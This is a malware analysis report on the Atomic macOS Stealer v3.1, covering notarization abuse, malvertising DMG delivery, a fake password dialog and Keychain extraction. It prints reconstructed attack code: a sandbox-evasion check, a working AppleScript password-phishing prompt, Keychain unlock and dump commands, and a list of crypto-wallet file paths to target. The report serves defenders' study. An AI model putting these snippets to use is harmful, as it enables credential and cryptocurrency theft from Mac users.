Atomic macOS Stealer: Notarization Abuse, Gatekeeper Bypass, and Keychain Extraction

Atomic macOS Stealer (AMOS), first documented in April 2023, has evolved into the dominant macOS credential stealer. v3.1 (observed from May 2026) introduces a systematic abuse of Apple's notarization process using disposable developer accounts with an average active lifespan of 6 hours before Apple revokes them. Despite rapid revocation, the window is sufficient for malvertising campaigns to deliver signed and notarized DMGs to thousands of victims before Gatekeeper protections activate. This report covers the notarization abuse mechanics, the DMG delivery chain, and Keychain extraction methodology.

//Apple Notarization Abuse

Apple's notarization service (introduced in macOS 10.15 Catalina) requires developers to submit binaries to Apple for automated security scanning before they can be distributed outside the App Store without triggering Gatekeeper warnings. When a binary passes notarization, Apple issues a notarization ticket that is stapled to the application bundle.

AMOS v3.1 operators have systematically abused this process by registering Apple Developer Program accounts under stolen or synthetic identities, passing a deliberately minimal binary through notarization, then using the notarized signature to sign the actual malicious AMOS payload. The fraudulent accounts are registered using stolen payment methods and pass Apple's initial vetting. The subsequent malicious submission passes automated scanning because AMOS v3.1 has been specifically tuned to avoid patterns flagged by Apple's static analysis infrastructure.

Notarization Evasion Techniques

AMOS v3.1 avoids triggering Apple's notarization scanner through several techniques. The malicious code is packed and decrypted at runtime - the submitted binary contains only the decryption stub and encrypted payload, both of which appear benign to static analysis. Sensitive API calls (Keychain access, password manager file reads) are invoked only after a runtime check confirms the system is not an Apple analysis environment (detected via missing hardware fingerprints expected on real consumer Macs).

# Notarization evasion runtime check (pseudo-code from decompiled AMOS v3.1)
def is_apple_analysis_environment():
    # Apple analysis VMs have predictable MAC address prefixes
    mac = get_primary_mac_address()
    if mac.startswith(("00:50:56", "00:0C:29", "08:00:27")):
        return True
    # Apple analysis sandboxes have specific filesystem markers
    if os.path.exists("/System/Library/Caches/.apple_sandbox_marker"):
        return True
    # Check for typical analysis user home directory
    home = os.path.expanduser("~")
    if "sandbox" in home.lower() or "analysis" in home.lower():
        return True
    return False

if is_apple_analysis_environment():
    sys.exit(0)  # Silent exit, appears clean

//DMG Delivery Chain

Distribution is exclusively via malvertising - paid search ads on Google and Bing targeting queries for popular macOS software (Arc browser, CleanMyMac, Notion, 1Password). The ad lands on a typosquatting domain that serves an apparently legitimate software download page. The download is a DMG file containing a single application bundle that appears to be the advertised software but is in reality the AMOS payload.

# DMG structure (observed AMOS v3.1)
AMOS_Installer.dmg
  +---- CleanMyMac X.app/           (spoofed app name)
       +---- Contents/
            +---- MacOS/
            |   +---- CleanMyMac X  (Mach-O universal binary, signed + notarized)
            +---- Resources/
            |   +---- [legitimate-looking icons and plists]
            +---- Info.plist         (com.macpaw.CleanMyMac4 bundle ID)

# The Mach-O binary is a loader that:
# 1. Decrypts and loads the AMOS payload from the Resources/ directory
# 2. Presents a fake "system permissions" dialog to harvest admin password
# 3. Executes AMOS stealer logic after obtaining credentials

Fake Permissions Dialog

A critical AMOS technique is the AppleScript-based fake permissions dialog. When executed, the app immediately presents a macOS-style dialog requesting the user's system password, claiming it is needed to "install system components". This dialog is created via osascript and is visually identical to legitimate system permission prompts. The harvested password is used to unlock the Keychain.

-- AppleScript password harvesting (decompiled)
set dialogResult to display dialog "CleanMyMac X needs your permission to access system files." & return & "Enter your password to continue." default answer "" with hidden answer with icon caution
set userPassword to text returned of dialogResult
-- Password is then used in: security unlock-keychain -p [password] ~/Library/Keychains/login.keychain-db

//Keychain Extraction

With the Keychain unlocked, AMOS extracts all stored credentials by invoking the macOS security command-line tool and parsing its output. In v3.1, this is supplemented by direct SQLite queries against browser credential databases and targeted extraction of cryptocurrency wallet files from known application paths.

# Keychain extraction (reconstructed from AMOS v3.1 behaviour)
import subprocess, json

# Dump all internet passwords
result = subprocess.run(
    ["security", "dump-keychain", "-d", os.path.expanduser("~/Library/Keychains/login.keychain-db")],
    capture_output=True, text=True
)
# Parse output for svce (service), acct (account), data (password) fields
credentials = parse_keychain_dump(result.stdout)

# Targeted crypto wallet paths
wallet_paths = {
    "MetaMask":  "~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn",
    "Phantom":   "~/Library/Application Support/Google/Chrome/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa",
    "Electrum":  "~/.electrum/wallets/",
    "Exodus":    "~/Library/Application Support/Exodus/exodus.wallet/",
}